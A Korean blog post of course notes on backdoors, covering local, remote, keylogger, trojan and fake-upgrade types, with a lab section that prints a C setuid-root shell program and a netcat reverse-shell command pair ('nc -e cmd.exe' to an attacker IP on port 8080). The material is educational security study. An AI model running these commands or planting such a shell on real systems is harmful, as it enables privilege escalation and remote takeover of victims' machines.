본문으로 바로가기
336x280(권장), 300x250(권장), 250x250, 200x200 크기의 광고 코드만 넣을 수 있습니다.


3. 백도어 (Backdoor)


1) 정의


- 시스템 접근에 대한 사용자 인증 등 정상적인 절차를 거치지 않고 응용프로그램 또는 시스템에 접근할 수 있도록 하는 프로그램.

- 해킹이 아닌 해킹 성공 후의 후속조치임. (크래커)

- 개발 과정 및 원격에서 문제해결에 필요한 통로이다. (주로 해커 또는 관리자들이 많이 사용)



2) 소개


▣ 로컬 백도어

- 서버의 쉘을 얻어낸 뒤에 관리로 권한 상승을 할 때 사용하는 백도어

- 트랩도어 역시 로컬 백도어라 생각할 수 있음.

- 시스템에 로그인한 뒤에 관리자로 권한상승을 시키기 위한 백도어.

- 단순하게 실행하면 관리자가 됨.

- 단점 : 격자는 실행하기위한 일반 계정이 하나정도는 필요함.


▣ 원격 백도어

- 원격에서 관리자로 계정과 패스워드를 입력하고 로그인한 것처럼 바로 시스템의 관리자 계정을 얻을 수 있는 백도어.

- 네트워크에 자신의 포트를 항상 열어 놓은 경우가 많음.

- 일종의 서비스를 제공하는 데몬처럼 동작.

- 단순하게 접속만하면 관리자가 됨. (주로 관리자들이 많이 사용)


▣ 원격 GUI 백도어

- 원격 백도어를 사용하기 편하게 GUI로 구성.

- 그러나 원격 백도어보다 많이 사용되지 않음.

- GUI환경의 백도어는 무겁고 많은 데이터를 전송해야 하기 때문에 노출이 되기 쉽기 때문.


▣ Key Logger (패스워드 크래킹 백도어)

- 인증을 회피한다기 보다는 인증에 필요한 패스워드를 원격지의 공격자에게 보내주는 역할을 하는 백도어.

- 사용자가 누르는 키보드의 정보를 원격지에 보내는 경우도 있음.

- 또는 특정 문자열, 즉 'passwd'와 같은 문자열 뒤에 누르는 키보드의 정보를 원격지에 보내는 경우도 존재.

- 단순하게 입력한 키보드 정보들을 다 적어 놓음.

- 단점 : 하나하나 다 적어놓기 때문에 용량이 너무 커질 수도 있음.

- 주로 pc방에서 많이 쓰임.


시스템 설정 변경

- 원격지의 쉘을 얻어낸다기 보다는 해커가 원하는 대로 시스템의 설정을 변경하기 위한 도구.

- 유닉스에서 프로그램 스케줄러로 사용되는 cron데몬을 이용하는 경우가 많음.

- 예를 들어 컴퓨터를 재부팅하더라도 계속해서 실행을 시켜주거나 프로그램 자신을 계속해서 복제하는 일도 가능.


▣ 트로이 목마형

- 처음부터 백도어를 목적으로 만들어진 프로그램이 아닌데도 백도어로 동작하는 경우.

- 윈도우에서는 웹 브라우저나 명령창, 간단한 게임 등도 백도어와 섞을 수 있음.

- 이렇게 만들어진 백도어를 실행하면 원래 목적의 프로그램도 실행되면서 동시에 백도어도 설치됨.

- 단순하게 내 원래 목적을 다른 프로그램에 숨기는 것.


▣ 거짓 업그레이드

- 윈도우의 업그레이드가 필요하다는 거짓 메일을 통해 유포하는 경우가 많음.

- 요즘은 실제 윈도우의 업데이트 날짜에 맞춰서 메일을 발송하는 경우가 많으니 유의.


▣ 그 외

- 네트워크 데몬이나 시스템 유틸리티를 수정한 백도어

- TCP/IP 프로토콜을 이용한 Shell binding 백도어

- Kernel 모듈을 수정한 백도어

- 방화벽을 우회하는 백도어

리버스텔넷



3) 활용


▣ 로컬 백도어

- 실행만 하면 관리자가 됨.

- root의 Set UID Bit 필요.

#include <stdio.h>

int main()
{
	setuid(0);
	setgid(0);
	system("/bin/bash");

	return 0;
}

- 지난 시간의 예제에서 setgid(0); 이 추가가 됨.

- id 명령어를 치면 현재 uid와 gid가 root계정이 됐음을 알 수 있음.


▣ 원격 백도어 (Port Bind)

- 접속만 하면 관리자가 됨.

- "포트 바인드 백도어" 실행


- 특정 port (12345)를 열고 대기


- 공격자 PC (Windows)로 접속 후 "관리자 권한" 획득

☞ netcat 이라는 별도의 프로그램 필요

☞ 리눅스 서버에 붙게 됨...



▣ 방화벽 우회 백도어 (NetCat) / 리버스텔넷

- 너가 나의 서버에 붙게 해주마.

- 기업들은 인바운드 정책을 강력하게 통제

- 공격시 사용되는 포트들은 무용지물이 될 수 있으므로 우회가 필요함.


① 공격자 입장 : windows에서 cmd로 서버 열기

☞ nc -l -p 8080

☞ 8080 port로 listen 하겠다.

② 희생자 입장 : windows에서 cmd 실행

☞ nc -e cmd.exe [공격자 IP] 8080

☞ 공격자 IP에 8080 port로 cmd를 실행시키며 붙겠다.


- 컴퓨터 2대로 실습을 진행.

☞ 공격자(데스크탑)의 IP주소

☞ 희생자(노트북)의 IP주소


☞ 백도어를 실행 후 공격자(데스크탑)의 cmd창에서 IP 확인







i2sec 대구지점 23기 수료생.

'해킹&보안 > 시스템해킹&보안' 카테고리의 다른 글

쉘 프로그래밍  (0) 2017.03.16
[D+5] Backdoor (백도어) (2)  (0) 2017.03.08
[D+3] Setuid (권한상승)  (0) 2017.03.06
[D+2] 패스워드 크래킹 (2)  (3) 2017.03.05
[D+1] 패스워드 크래킹 (1)  (0) 2017.03.02